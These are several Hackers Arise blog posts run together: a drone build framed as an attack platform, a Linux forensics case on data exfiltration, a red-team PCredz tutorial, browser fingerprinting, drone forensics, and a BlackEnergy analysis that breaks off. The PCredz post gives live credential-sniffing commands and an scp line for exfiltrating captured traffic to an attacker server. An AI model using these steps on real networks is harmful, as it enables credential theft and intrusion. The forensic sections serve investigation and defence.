Drones are everywhere. They are affordable. They are also flexible. But what can they really do for a hacker? The key strength of a drone is that it can carry almost anything lightweight. This instantly increases the operational range of wireless attacks, allowing equipment to quickly and silently reach places a human cannot. A drone can scale fences, reach high-rise windows, hover near targets, and potentially enter buildings. All while remaining difficult to trace. That is an enormous advantage.

Let’s start learning how the platform works.

Implementation

Most drones are radio-controlled, but the exact communication method varies. One channel is used to receive operator commands (RX) and another to transmit video and telemetry back to the operator (TX). Different drones use different communication combinations, such as dedicated radio systems like FRSKY, ELRS, or TBS for control, and either analog or digital channels for video. Some consumer drones use Wi-Fi for telemetry or even control both ways.

For a hacker, the drone is first and foremost a transport platform. It must be reliable and durable. When you are performing attacks near buildings, lamp posts, tight corridors, or window frames, high speed becomes far less important than protecting the propellers. This is why Cinewhoop-style drones with protective frames are such a strong choice. If the drone brushes a wall, the frame absorbs the impact and keeps it flying. You can find the 3D models of it here

The drone also needs enough lifting power to carry your hacking gear. Ideally at least one-third of its own weight. That allows you to attach devices such as Wi-Fi attack platforms, SDR tools, or compact computers without stressing the motors. Because distance matters, Wi-Fi-controlled drones are usually not ideal. Wi-Fi range is typically around 50–100 meters before responsiveness begins to degrade. Professional long-range drones that use dedicated control radios like FRSKY, ELRS, or TBS are a better fit. Under good conditions, these systems can maintain control several kilometers away. Since attackers typically operate near structures, precise control is critical. FPV drones are especially useful here. They allow the pilot to “see” through the drone’s camera in real time, which is essential when maneuvering near buildings or through tight openings. Open-source flight controller platforms such as Betaflight are really attractive. They are flexible, modifiable, and easy to service. If the frame is damaged in a crash, most of the core components can be reused.

In truth, the specific drone model is less important than the pilot’s skill. Good piloting matters. Before we look at attacks, we need to understand how control can be improved and how it can be extended beyond visual range.

Control via 4G

Flying a drone among urban buildings introduces challenges like concrete and steel obstruct radio signals, limiting line-of-sight range. Even if your drone has a long-range radio system, once it disappears behind a building, control becomes unreliable. But what if you could control the drone over mobile networks instead? Modern 4G cellular networks now offer reliable data coverage even inside many urban structures. If we can use cellular data as a control channel, the drone’s reachable range becomes limited only by its battery life, not by line-of-sight. Today’s 4G networks can provide sufficient bandwidth for both control signals and video feeds. Although the latency and responsiveness are not as good as dedicated radio links, they are quite usable for piloting a drone in many scenarios. Considering that drones can reach speeds up to 200 km/h and have flight times measured in tens of minutes, an attacker theoretically could operate a drone more than 20 km away from the controller using 4G connectivity.

4G > Wi-Fi Gateway > Drone

The simplest way to use 4G connectivity is to bridge it to the drone’s Wi-Fi interface. Most consumer drones broadcast a Wi-Fi access point that a mobile phone connects to for control. Commands are sent over UDP packets, and video is streamed back as an RTSP feed. In this setup, the drone already acts like a networked device. If you attach a small computing device with a 4G modem, you could connect to it over a VPN from anywhere, and relay commands to the drone. But this approach has major drawbacks. The control protocol is often closed and proprietary, making it difficult to reverse-engineer and properly relay. Additionally, these protocols send frequent packets to maintain responsiveness, which would saturate your 4G channel and compete with video transmission.

4G > Video Gateway > Drone

A much cleaner alternative is to use a video gateway approach. Instead of trying to tunnel the drone’s native protocol over the cellular link, you attach a small smartphone to the drone and connect it to the drone’s Wi-Fi. The phone itself becomes a bridge. It controls the drone locally and receives video. From the remote operator’s perspective, you are simply remoting into the phone, much like remote controlling any computer. The phone’s screen shows the drone’s video feed, and the operator interacts with the virtual sticks via remote desktop software. The phone app already handles control packet encoding, so there’s no need to reverse-engineer proprietary protocols.

This clever hack solves multiple problems at once. The phone maintains a strong local Wi-Fi link to the drone, which is hard to jam at such short range. The operator sees a video feed that survives 4G network variations better than high-bandwidth native streams. And because the app handles stick input, the operator doesn’t need to worry about throttle, roll, pitch, or yaw encoding.

You can connect to the phone over 4G from any device using remote-access software like AnyDesk. With simple GUI automation tools, you can bind keyboard keys to virtual controller actions on the phone screen.

Here is the Bash script that will help with it. You can find the link to it here

This Bash script allows you to control virtual joysticks once you connect via AnyDesk to the phone. You will use the keyboard to simulate mouse actions. When launched, the script identifies the emulator window (using xwininfo, which requires you to click on the window once), calculates the centers of the left and right virtual sticks based on fixed offsets from the window’s corner, and then enters a loop waiting for single key presses.

For each key (A/B for throttle, W/S/A/D for pitch and roll, Q/E for yaw), the script uses xdotool to move the cursor to the virtual stick, simulate a short swipe in the desired direction, and release. This effectively mimics a touchscreen joystick movement. The script runs on Linux with X11 (Xorg), requires xdotool and x11-utils, and gives a simple keyboard-based alternative for drone control when a physical gamepad isn’t available. Although Kali Linux is not suitable here, many other distros such as Debian Stable, antiX, Devuan, Linux Mint, openSUSE, Zorin OS, or Peppermint OS work well. So while Kali is often the go-to for security work, there’s still a list of usable operating systems.

Telemetry data is also available to the remote operator.

In the system we describe, another script monitors screen regions where telemetry values are displayed, uses OCR (optical character recognition) to extract numbers, and can then process them.

Here is another bash script that will help us with this. It will repeatedly screenshot a selected drone ground control window, crop out the battery and altitude display areas, use OCR to extract the numeric values, print them to the terminal, and speak a “low battery” warning if the percentage drops below 10%..

Find it on our GitHub here

With control and telemetry automated, full 4G-based drone operation becomes extremely flexible. This method is easy to implement and immediately gives you both control and status feedback. However, it does introduce an extra link, which is the Wi-Fi phone. The phone’s Wi-Fi signal may interfere with the drone’s normal operation, and the drone must carry some extra weight (about 50 grams) for this setup. In Part 2, we will go further. We will move from 4G > Wi-Fi > Drone to 4G > UART > Drone, using a custom VPN and SIM. That means the phone disappears completely, and commands are sent directly to the flight controller and motor control hardware. This will give us more flexibility.

That brings us to the end of Part 1.

Summary

Drones are rapidly transforming from hobby toys into serious tools across warfare, policing, intelligence, and hacking. A drone can slip past fences, scale buildings, hover near windows, and quietly deliver wireless attack platforms into places humans cannot reach. It opens doors to an enormous spectrum of radio-based attacks, from Wi-Fi exploitation to Bluetooth hijacking and beyond. For attackers, it means unprecedented reach. 

See you in Part 2 where we begin preparing the drone for real-world offensive operations

The post Drone Hacking: Build Your Own Hacking Drone, Part 1 first appeared on Hackers Arise.

Welcome back, aspiring DFIR investigators!

Linux machines are everywhere these days, running quietly in the background while powering the most important parts of modern companies. They host databases, file shares, internal tools, email services, and countless other systems that businesses depend on every single day. But the same flexibility that makes Linux so powerful also makes it attractive for attackers. A simple bash shell provides everything someone needs to move files around, connect to remote machines, or hide traces of activity. That is why learning how to investigate Linux systems is so important for any digital forensic analyst.

In an earlier article we walked through the basics of Linux forensics. Today, we will go a step further and look at a scenario, where a personal Linux machine was used to exfiltrate private company data. The employee worked for the organization that suffered the breach. Investigators first examined his company-issued Windows workstation and discovered several indicators tying him to the attack. However, the employee denied everything and insisted he was set up, claiming the workstation wasn’t actually used by him. To uncover the truth and remove any doubts, the investigation moved toward his personal machine, a Linux workstation suspected of being a key tool in the data theft.

Analysis

It is a simple investigation designed for those that are just getting started.

Evidence

Before looking at anything inside the disk, a proper forensic workflow always begins with hashing the evidence and documenting the chain of custody. After that, you create a hashed forensic copy to work on so the original evidence remains untouched. This is standard practice in digital forensics, and it protects the integrity of your findings.

Once we open the disk image, we can see the entire root directory. To keep the focus on the main points, we will skip the simple checks covered in Basic Linux Forensics (OS-release, groups, passwd, etc.) and move straight into the artifacts that matter most for a case involving exfiltration.

Last Login

The first thing we want to know is when the user last logged in. Normally you can run last with no arguments on a live system, but here we must point it to the wtmp file manually:

bash# > last -f /var/log/wtmp

This shows the latest login from the GNOME login screen, which occurred on February 28 at 15:59 (UTC).

To confirm the exact timestamp, we can check authentication events stored in auth.log, filtering only session openings from GNOME Display Manager:

bash# > cat /var/log/auth.log | grep -ai "session opened" | grep -ai gdm | grep -ai liam

From here we learn that the last GUI login occurred at 2025-02-28 10:59:07 (local time).

Timezone

Next, we check the timezone to ensure we interpret all logs correctly:

bash# > cat /etc/timezone

This helps ensure that timestamps across different logs line up properly.

USB

Data exfiltration often involves external USB drives. Some attackers simply delete their shell history, thinking that alone is enough to hide their actions. But they often forget that Linux logs almost everything, and those logs tell the truth even when the attacker tries to erase evidence.

To check for USB activity:

bash# > grep -i usb /var/log/*

Many entries appear, and buried inside them is a serial number from an external USB device.

Syslog also records the exact moment this device was connected. Using the timestamp (2025-02-28 at 10:59:25) we can filter the logs further and collect more detail about the device.

We also want to know when it was disconnected:

bash# > grep -i usb /var/log/* | grep -ai disconnect

The last disconnect occurred on 2025-02-28 at 11:44:00. This gives us a clear time window: the USB device was connected for about 45 minutes. Long enough to move large files.

Command History

Attackers use different tricks to hide their activity. Some delete .bash_history. Others only remove certain commands. Some forget to clear it entirely, especially when working quickly.

Here is the user’s history file:

bash# > cat /home/liam/.bash_history

Here we see several suspicious entries. One of them is transferfiles. This is not a real Linux command, which immediately suggests it might be an alias. We also see a curl -X POST command, which hints that data was uploaded to an HTTP server. That’s a classic exfiltration method. There is also a hidden directory and a mysterious mth file, which we will explore later.

Malicious Aliases

Hackers love aliases, because aliases allow them to hide malicious commands behind innocent-looking names. For example, instead of typing out a long scp or rsync command that would look suspicious in a history file, they can simply create an alias like backup, sync, or transferfiles. To anyone reviewing the history later, it looks harmless. Aliases also help them blend into the environment. A single custom alias is easy to overlook during a quick review, and some investigators forget to check dotfiles for custom shell behavior.

To see what transferfiles really does, we search for it:

bash# > grep "transferfiles" . -r

This reveals the real command: it copied the entire folder “Critical Data TECH*” from a USB device labeled 46E8E28DE8E27A97 into /home/liam/Documents/Data.

This aligns perfectly with our earlier USB evidence. Files such as Financial Data, Revenue History, Stakeholder Agreement, and Tax Records were all transferred. Network logs suggest more files were stolen, but these appear to be the ones the suspect personally inspected.

Hosts

The /etc/hosts file is normally used to map hostnames to IP addresses manually. Users sometimes add entries to simplify access to internal services or testing environments. However, attackers also use this file to redirect traffic or hide the true destination of a connection.

Let’s inspect it:

bash# > cat /etc/hosts

In this case, there is an entry pointing to a host involved in the exfiltration. This tells us the suspect had deliberately configured the system to reach a specific external machine.

Crontabs

Crontabs are used to automate tasks. Many attackers abuse cron to maintain persistence, collect information, or quietly run malicious scripts.

There are three main places cron jobs can exist:

1. /etc/crontab –  system-wide

2. /etc/cron.d/ – service-style cron jobs

3. /var/spool/cron/crontabs/ – user-specific entries

Let’s check the user’s crontab:

bash# > cat /var/spool/cron/crontabs/liam

We can see a long string set to run every 30 minutes. This cronjob secretly sends the last five commands typed in the terminal to an attacker-controlled machine. This includes passwords typed in plain text, sudo commands, sensitive paths, and anything else the user entered recently.

This was unexpected. It suggests the system was accessed by someone else, meaning the main suspect may have been working with a third party, or possibly being monitored and guided by them.

To confirm this possibility, let’s check for remote login activity:

bash# > cat /var/log/auth.log | grep -ai accepted

Here we find a successful SSH login from an external IP address. This could be that unidentified person entering the machine to retrieve the stolen data or to set up additional tools. At this stage it’s difficult to make a definitive claim, and we would need more information and further interrogation to connect all the pieces.

Commands and Logins in auth.log

The auth.log file stores not only authentication attempts but also certain command-related records. This is extremely useful when attackers use hidden directories or unusual locations to store files.

To list all logged commands:

bash# > cat /var/log/auth.log | grep -ai command

To search for one specific artifact:

bash# > cat /var/log/auth.log | grep -ai mth

This tells us that the file mth was created in /home/liam using nano by user liam. Although this file had nothing valuable, its creation shows the user was active and writing files manually, not through automated tools.

Timestomping

As a bonus step, we will introduce timestamps, which are essential in forensic work. They help investigators understand the sequence of events and uncover attempts at manipulation that might otherwise go unnoticed. Timestomping is the process of deliberately altering file timestamps to confuse investigators. Hackers use it to hide when a file was created or modified. However, Linux keeps several different timestamps for each file, and they don’t always match when something is tampered with.

The stat command helps reveal inconsistencies:

bash# > stat api

The output shows:

Birth: Feb 28 2025

Change: Nov 17 2025

Modify: Jan 16 2001

This does not make sense. A file cannot be created in 2025, modified in 2001, and changed again in 2025. That means the timestamps were manually altered. A normal file would have timestamps that follow a logical order, usually showing similar creation and modification dates. By comparing these values across many files, investigators can often uncover when an attacker attempted to clean up their traces or disguise their activity.

Timeline

The investigation still requires more evidence, deeper log correlation, and proper interrogation of everyone involved before a final conclusion can be made. However, based on the artifacts recovered from the Linux machine, we can outline a reasonable assumption of how the events might have taken place.

In the days before the breach, Liam was approached by a third-party group interested in acquiring his company’s confidential data. They gained remote access to his computer via SSH, possibly through a proxy, appearing to log in from a public IP address that does not belong to the company network. Once inside, they installed a cronjob designed to collect Liam’s recent commands that acted as a simple keylogger. This allowed them to gather passwords and other sensitive information that Liam typed in the terminal.

With Liam’s cooperation, or possibly after promising him payment, the attackers guided him through the steps needed to steal the corporate files. On February 28, Liam logged in, connected a USB drive, and executed the hidden alias transferfiles, which copied sensitive folders onto his machine. Moments later, he uploaded parts of the data using a curl POST request to a remote server. When the transfer was done, the accomplices disconnected from the machine, leaving Liam with remnants of stolen data still sitting inside his Documents directory.

The combination of the installed cronjob, the remote SSH connection, and the structured method of transferring company files strongly suggests an insider operation supported by outside actors. Liam was not acting alone, he was assisting a third party, either willingly or under pressure.

Summary

The hardest part of digital forensics is interpreting what the evidence actually means and understanding the story it tells. Individual logs rarely show the full picture by themselves. But when you combine login times, USB events, alias behavior, cronjobs, remote connections and other artifacts a clear narrative begins to form. In this case, the Linux machine revealed far more than the suspect intended to hide. It showed how the data was copied, when the USB device was attached, how remote actors accessed the system, and even how attempts were made to hide the tracks through timestomping and aliases. Each artifact strengthened the overall story and connected the actions together into one coherent timeline. This is the true power of digital forensics that turns fragments of technical evidence into a readable account of what really happened. And with every investigation, your ability to find and interpret these traces grows stronger.

If you want skills that actually matter when systems are burning and evidence is disappearing, this is your next step. Our training takes you into real investigations, real attacks, and real analyst workflows. Built for people who already know the basics and want to level up fast, it’s on-demand, deep, and constantly evolving with the threat landscape.

Learn more

The post Digital Forensics: Basic Linux Analysis After Data Exfiltration first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Today we are going through another tool that can really help you during your red team engagements. It is called PCredz. PCredz is a powerful credential extraction tool that focuses on pulling sensitive information out of network traffic. According to the project documentation, PCredz can extract credit card numbers, NTLM credentials, Kerberos hashes, HTTP authentication data, SNMP community strings, POP, SMTP, FTP, IMAP and much more from a pcap file or from a live interface. It supports both IPv4 and IPv6. All discovered hashes are shown in formats that work directly with hashcat. For example you can use mode 7500 for Kerberos, 5500 for NTLMv1 and 5600 for NTLMv2. The tool also logs everything into a CredentialDump file and makes it organized so that you can feed it directly into cracking workflows.

In practice this means that if credentials are traversing the network in any recoverable form, PCredz will collect them for you.

Use Cases

So when would you actually use PCredz during a red team engagement?

Imagine you have already gained a foothold somewhere inside a network. At this point, one of your goals is usually to move laterally, escalate privileges, and gain access to more sensitive resources. Network traffic is often full of interesting secrets, especially in environments where encryption is not enforced or where legacy protocols still exist. PCredz becomes very useful when you want to analyze captured pcaps or when you want to quietly listen to live traffic flowing through an interface. If users are authenticating to file shares, web interfaces, legacy applications, email systems or network services, you may see usable credentials. This is particularly realistic on older networks or mixed environments where not everything runs over HTTPS or modern authentication.

Blue teams also use PCredz during compromise assessments to detect insecure authentication flows inside their network. But during red team work, it helps you move further and more silently than noisy active attacks.

Setting Up

There are two main ways to run PCredz. You can run it inside Docker or directly through the Linux console. For this demonstration we will use the console. When you are working on a compromised or fragile machine, you must be careful not to break anything. Many times you will land on an old production server that the business still depends on. For both operational security and stability reasons, it is safer to isolate your tooling. A great way to do that is to create a separate Python 3 virtual environment just for PCredz.

Here is how you create a separate python3 environment and activate it:

bash# > python3 -m venv pcredz; source pcredz/bin/activate

Next we install the dependencies:

bash# > apt install python3-pip && sudo apt install libpcap-dev && sudo apt install file && pip3 install Cython && pip3 install python-libpcap

Now we are ready to get started.

Live Capture vs PCAPs

We are going to look at PCredz in two ways. First we will use live capture mode so the tool listens directly to the network interface. Then we will see how it works with captured pcaps. Working with pcaps is often more convenient, especially if the system is extremely old or restricted and does not allow you to install dependencies. The tool will automatically parse your files and extract any available credentials.

Live

To run the tool in live mode and capture credentials, use:

bash# > python3 ./Pcredz -i eth0 -v

You can see the name of your network interfaces by running ifconfig. Sometimes you will find several interfaces and you will need to choose the correct one. To reduce noise, try selecting interfaces that sit on private IP ranges. Otherwise you may end up with captures full of random internet scanning traffic. Many automated scripts constantly probe IP ranges looking for weak targets and this junk traffic can pollute your pcaps making them heavier than needed.

PCAPs

If you decide to work offline with pcaps, the first step is usually to exfiltrate the captured files to a machine you control. For example, you can transfer the file to a VPS using scp:

bash#  > scp file.pcap root@IP:/tmp

Once the upload is complete, the file will keep its original name and will be located in the specified directory on the remote machine.

Then you can run PCredz in offline mode like this when analyzing a single file:

bash# > python3 ./Pcredz -f file.pcap

Or when analyzing an entire directory of pcaps:

bash# > python3 ./Pcredz -d /tmp/pcap-directory-to-parse/

This approach is especially nice when you want to stay quiet. You collect traffic with tcpdump, move the files out and only analyze them on your own system.

Summary

PCredz is a simple tool. You can gather credentials without interrupting production systems or triggering noisy authentication attacks like relays. A very stealthy approach during a red team engagement is to capture network traffic with tcpdump, exfiltrate the pcaps to your controlled machine, and then run PCredz there. The tool becomes especially effective if you manage to compromise a file server or another system that many Windows machines depend on. These machines constantly receive authentication traffic from users, which means you will likely capture something valuable sooner or later. Once you obtain valid credentials, many new doors open. You may escalate privileges, dump LSASS, schedule malicious certificate requests, or impersonate privileged accounts through legitimate mechanisms. Quite often you will even see HTTP traffic in cleartext reusing the same Active Directory credentials across multiple services. Credential reuse is still very common in the real world.

The post Password Cracking: Stealing Credentials with PCredz first appeared on Hackers Arise.

Welcome back, aspiring forensic investigators!

Today we are going to explore a topic that quietly shapes modern online privacy, yet most people barely think about it. When many users hear the word anonymity, they immediately think of VPN services or the Tor Browser. Once those tools are turned on, they often relax and assume they are safely hidden. Some even feel confident enough to behave recklessly online. Others, especially people in high-risk environments, place absolute trust in these tools to protect them from powerful adversaries. The problem is that this confidence is not always justified. A false sense of privacy can be more dangerous than having no privacy at all.

Master OTW has warned about this for years. Tor is an extraordinary privacy technology. It routes your traffic through multiple encrypted nodes so the websites you visit cannot easily see your real IP address. When it is used correctly and especially when accessing .onion resources, it truly can offer you some anonymity. But don’t let the mystery of Tor mislead you into thinking it guarantees absolute privacy. In the end, your traffic still has to pass through Tor nodes, and whoever controls the exit node can potentially observe unencrypted activity. That means privacy is only as strong as the path your traffic takes. A good example of this idea is the way Elliot in Mr. Robot uncovered what the owner of Ron’s Coffee was really involved in by monitoring traffic at the exit point.

Besides, determined adversaries can perform advanced statistical correlation attacks. Browsers can be fingerprinted by examining the small technical details that make your device unique. Exit nodes may also expose you when you browse the regular internet. The most important lesson is that absolute anonymity does not exist. And one of the biggest threats to that anonymity is browser fingerprinting.

What is Browser Fingerprinting?

Browser fingerprinting is a method websites use to identify you based on the unique characteristics of your device and software. Instead of relying on cookies or IP addresses, which can be deleted or hidden, fingerprinting quietly collects technical details about your system. When all of these little details are combined, they form something almost as unique as a real fingerprint.

One of the most important parts of browser fingerprinting is something called visual rendering differences. In simple terms, your computer draws images, text, and graphics in a way that is slightly different from everyone else’s computer. Techniques such as Canvas fingerprinting and WebGL fingerprinting take advantage of these differences. They can make your browser draw shapes or text and the small variations in how your device renders those shapes can be recorded. WebGL takes this even deeper, interacting directly with your graphics hardware to reveal more detailed information. What makes this especially concerning is the persistence. They are generated fresh each time, based on your hardware and software combination. Advertisers love this technology. Intelligence agencies know about it too. And most users never even realize it is happening.

Canvas Fingerprinting Explained

Let us start with Canvas fingerprinting. The HTML5 Canvas API was created so websites could draw graphics. However, it can also quietly draw an invisible image in the background without you ever seeing anything on the screen. This image often contains text, shapes, or even emojis. Once the image is rendered, the website extracts the pixel data and converts it into a cryptographic hash. That hash becomes your Canvas fingerprint.

The reason this fingerprint is unique comes from many small sources. Your graphics card renders shapes slightly differently. Your driver version may handle color smoothing in a unique way. Your installed fonts also affect how letters are shaped and aligned. The operating system you use adds its own rendering behavior. Even a tiny system change, such as a font replacement or a driver update, can modify the resulting fingerprint.

This fingerprinting technique is powerful because it follows you even when you think you are protected. It does not require stored browser data. It also does not care about your IP address. It simply measures how your machine draws a picture. This allows different groups to track and follow you, because your anonymous behavior suddenly becomes linkable.

If you want to see this in action, you can test your own Canvas fingerprint at BrowserLeaks. The same Canvas script will produce different fingerprints on different machines, and usually the same fingerprint on the same device.

WebGL Fingerprinting in Depth

Now let us move a layer deeper. WebGL fingerprinting builds on the same ideas, but it interacts even more closely with the graphics hardware. WebGL allows your browser to render 3D graphics, and through a specific extension named WEBGL_debug_renderer_info, a tracking script can retrieve information about your graphics card. This information can include the GPU vendor, such as NVIDIA, AMD, or Intel. It can also reveal the exact GPU model. In other words, WebGL is not only observing how graphics are drawn, it is asking your system directly what kind of graphics engine it has. This creates a highly identifiable hardware profile.

In environments where most devices use similar hardware, one unusual GPU can make you stand out instantly. Combining WebGL with Canvas makes tracking incredibly precise.

Risks and Persistence

Canvas and WebGL fingerprinting are difficult to escape because they are tied to physical components inside your device. You can delete cookies, reinstall your browser or wipe your entire system. But unless you also change your hardware, your fingerprint will likely remain similar or identical. These fingerprints also become more powerful when combined with other factors such as language settings, time zone, installed plugins, and browsing behavior. Over time, the tracking profile becomes extremely reliable. Even anonymous users become recognizable.

This is not just theory. A retailer might track shoppers across websites, including in private browsing sessions. A government might track dissidents, even when they route traffic through privacy tools. A cyber-criminal might identify high-value targets based on their hardware profile. All of this can happen silently in the background.

Conclusion

Browser fingerprinting through Canvas and WebGL is one of the most persistent and quiet methods of online tracking in use today. As investigators and security professionals, it is important that we understand both its power and its risks. You can begin exploring your own exposure by testing your device on fingerprinting-analysis websites and observing the identifiers they generate. Privacy-focused browsers and hardened settings may reduce the amount of information exposed, but even then the protection is not perfect. Awareness remains the most important defense. When you understand how fingerprinting works, you can better evaluate your privacy decisions, your threat model, and the trust you place in different technologies.

In the next part, we will go even deeper into this topic and see what else can be learned about you through your browser.

The post Digital Forensics: Browser Fingerprinting – Visual Identification Techniques, Part 1 first appeared on Hackers Arise.

Welcome back, aspiring digital investigators!

Over the last few years, drones have moved from being niche gadgets to becoming one of the most influential technologies on the modern battlefield and far beyond it. The war in Ukraine accelerated this shift dramatically. During the conflict, drones evolved at an incredible pace, transforming from simple reconnaissance tools into precision strike platforms, electronic warfare assets, and logistics tools. This rapid adoption did not stop with military forces. Criminal organizations, including cartels and smuggling networks, quickly recognized the potential of drones for surveillance and contraband delivery. As drones became cheaper, more capable, and easier to modify, their use expanded into both legal and illegal activities. This created a clear need for digital forensics specialists who can analyze captured drones and extract meaningful information from them.

Modern drones are packed with memory chips, sensors, logs, and media files. Each of these components can tell a story about where the drone has been, how it was used, and who may have been controlling it. At its core, digital forensics is about understanding devices that store data. If something has memory, it can be examined.

U.S. Department of Defense Drone Dominance Initiative

Recognizing how critical drones have become, the United States government launched a major initiative focused on drone development and deployment. Secretary of War Pete Hegseth announced a one-billion-dollar “drone dominance” program aimed at equipping the U.S. military with large numbers of cheap, scalable attack drones.

Modern conflicts have shown that it makes little sense to shoot down inexpensive drones using missiles that cost millions of dollars. The program focuses on producing tens of thousands of small drones by 2026 and hundreds of thousands by 2027. The focus has shifted away from a quality-over-quantity mindset toward deploying unmanned systems at scale. Analysts must be prepared to examine drone hardware and data just as routinely as laptops, phones, or servers.

Drone Platforms and Their Operational Roles

Not all drones are built for the same mission. Different models serve very specific roles depending on their design, range, payload, and level of control. On the battlefield, FPV drones are often used as precision strike weapons. These drones are lightweight, fast, and manually piloted in real time, allowing operators to guide them directly into high-value targets. Footage from Ukraine shows drones intercepting and destroying larger systems, including loitering munitions carrying explosive payloads.

To counter electronic warfare and jamming, many battlefield drones are now launched using thin fiber optic cables instead of radio signals. These cables physically connect the drone to the operator, making jamming ineffective. In heavily contested areas, forests are often covered with discarded fiber optic lines, forming spider-web-like patterns that reflect sunlight. Images from regions such as Kupiansk show how widespread this technique has become.

Outside of combat zones, drones serve entirely different purposes. Commercial drones are used for photography, mapping, agriculture, and infrastructure inspection. Criminal groups may use similar platforms for smuggling, reconnaissance, or intimidation. Each use case leaves behind different types of forensic evidence, which is why understanding drone models and their intended roles is so important during an investigation.

DroneXtractor – A Forensic Toolkit for DJI Drones

To make sense of all this data, we need specialized tools. One such tool is DroneXtractor, an open-source digital forensics suite available on GitHub and written in Golang. DroneXtractor is designed specifically for DJI drones and focuses on extracting and analyzing telemetry, sensor values, and flight data.

The tool allows investigators to visualize flight paths, audit drone activity, and extract data from multiple file formats. It is suitable for law enforcement investigations, military analysis, and incident response scenarios where understanding drone behavior is critical. With this foundation in mind, let us take a closer look at its main features.

Feature 1 – DJI File Parsing

DroneXtractor supports parsing common DJI file formats such as CSV, KML, and GPX. These files often contain flight logs, GPS coordinates, timestamps, altitude data, and other telemetry values recorded during a drone’s operation. The tool allows investigators to extract this information and convert it into alternative formats for easier analysis or sharing.

In practical terms, this feature can help law enforcement reconstruct where a drone was launched, the route it followed, and where it landed. For military analysts, parsed telemetry data can reveal patrol routes, observation points, or staging areas used by adversaries. Even a single flight log can provide valuable insight into patterns of movement and operational habits.

Feature 2 – Steganography

Steganography refers to hiding information within other files, such as images or videos. DroneXtractor includes a steganography suite that can extract telemetry and other embedded data from media captured by DJI drones. This hidden data can then be exported into several different file formats for further examination.

This capability is particularly useful because drone footage often appears harmless at first glance. An image or video shared online may still contain timestamps, unique identifiers and sensor readings embedded within it. For police investigations, this can link media to a specific location or event.

Feature 3 – Telemetry Visualization

Understanding raw numbers can be difficult, which is why visualization matters. DroneXtractor includes tools that generate flight path maps and telemetry graphs. The flight path mapping generator creates a visual map showing where the drone traveled and the route it followed. The telemetry graph visualizer plots sensor values such as altitude, speed, and battery levels over time.

Investigators can clearly show how a drone behaved during a flight, identify unusual movements, or detect signs of manual intervention. Military analysts can use these visual tools to assess mission intent, identify reconnaissance patterns, or confirm whether a drone deviated from its expected route.

Feature 4 – Flight and Integrity Analysis

The flight and integrity analysis feature focuses on detecting anomalies. The tool reviews all recorded telemetry values, calculates expected variance, and checks for suspicious gaps or inconsistencies in the data. These gaps may indicate file corruption, tampering, or attempts to hide certain actions.

Missing data can be just as meaningful as recorded data. Law enforcement can use this feature to determine whether logs were altered after a crime. Military analysts can identify signs of interference and malfunction, helping them assess the reliability of captured drone intelligence.

Usage

DroneXtract is built in Go, so before anything else you need to have Go installed on your system. This makes the tool portable and easy to deploy, even in restricted or offline environments such as incident response labs or field investigations.

We begin by copying the project to our computer

bash# > git clone https://github.com/ANG13T/DroneXtract.git

To build and run DroneXtract from source, you start by enabling Go modules. This allows Go to correctly manage dependencies used by the tool.

bash# > $ export GO111MODULE=on

Next, you fetch all required dependencies defined in the project. This step prepares your environment and ensures all components DroneXtract relies on are available.

bash# >  go get ./…

Once everything is in place, you can launch the tool directly:

bash# > go run main.go

At this point, DroneXtract is ready to be used for parsing files, visualizing telemetry, and performing integrity analysis on DJI drone data. The entire process runs locally, which is important when handling sensitive or classified material.

Airdata Usage

DJI drones store detailed flight information in .TXT flight logs. These files are not immediately usable for forensic analysis, so an intermediate step is required. For this, we rely on Airdata’s Flight Data Analysis tool, which converts DJI logs into standard forensic-friendly formats.

You can find the link here

Once the flight logs are processed through Airdata, the resulting files can be used directly with DroneXtract:

Airdata CSV output files can be used with:

1) the CSV parser

2) the flight path map generator

3) telemetry visualizations

Airdata KML output files can be used with:

1) the KML parser for geographic mapping

Airdata GPX output files can be used with:

1) the GPX parser for navigation-style flight reconstruction

This workflow allows investigators to move from a raw drone log to clear visual and analytical output without reverse-engineering proprietary formats themselves.

Configuration

DroneXtract also provides configuration options that allow you to tailor the analysis to your specific investigation. These settings are stored as environment variables in the .env file and control how much data is processed and how sensitive the analysis should be.

TELEMETRY_VIS_DOWNSAMPLE

This value controls how much telemetry data is sampled for visualization. Higher values reduce detail but improve performance, which is useful when working with very large flight logs.

FLIGHT_MAP_DOWNSAMPLE

This setting affects how many data points are used when generating the flight path map. It helps balance visual clarity with processing speed.

ANALYSIS_DOWNSAMPLE

This value controls the amount of data used during integrity analysis. It allows investigators to focus on meaningful changes without being overwhelmed by noise.

ANALYSIS_MAX_VARIANCE

This defines the maximum acceptable variance between minimum and maximum values during analysis. If this threshold is exceeded, it may indicate abnormal behavior, data corruption, or possible tampering.

Together, these settings give investigators control over both speed and precision, allowing DroneXtract to be effective in fast-paced operational environments and detailed post-incident forensic examinations.

Summary

Drone forensics is still a developing field, but its importance is growing rapidly. As drones become more capable, the need to analyze them effectively will only increase. Tools like DroneXtractor show how much valuable information can be recovered from devices that were once considered disposable. 

Looking ahead, it would be ideal to see fast, offline forensic tools designed specifically for battlefield conditions. Being able to quickly extract flight data, locations, and operational details from captured enemy drones could provide immediate tactical advantages. Drone forensics may soon become as essential as traditional digital forensics on computers and mobile devices.

The post Digital Forensics: Drone Forensics for Battlefield and Criminal Analysis first appeared on Hackers Arise.

Welcome back, aspiring digital forensic investigators.

The malware ecosystem is vast and constantly evolving. New samples appear every day, shared across underground forums and malware repositories. Some of these threats are short-lived, while others leave a lasting mark on history. Today, we are going to analyze one of those historically significant threats called BlackEnergy (for more on Blackenergy3 and it’s use to black out Ukraine, see the excellent article here by OTW). BlackEnergy is a malware family that gained global attention after being linked to large-scale cyber operations, most notably attacks against critical infrastructure. While it began as a relatively simple tool, it evolved into a sophisticated platform used in highly targeted campaigns. In this article, we will examine a memory dump from an infected Windows 7 system and use Volatility 3 to understand how BlackEnergy behaves in memory and how we can identify it during a forensic investigation.

Understanding BlackEnergy

BlackEnergy first appeared in the mid-2000s as a relatively basic DDoS bot. Early versions were used mainly to flood websites and disrupt online services. Over time, however, the malware evolved significantly. Later variants transformed BlackEnergy into a modular implant capable of espionage, sabotage, and long-term persistence. By the time it was linked to attacks against Ukrainian energy companies, BlackEnergy was an operational platform. It supported plugins for credential theft, system reconnaissance, file exfiltration, and lateral movement. One of its most destructive uses was as a delivery mechanism for KillDisk, a wiper component designed to overwrite critical system structures, erase logs, and make machines unusable. These capabilities strongly suggest the involvement of a well-resourced and organized threat actor, commonly associated in public reporting with the group known as Voodoo Bear.

Starting the Analysis

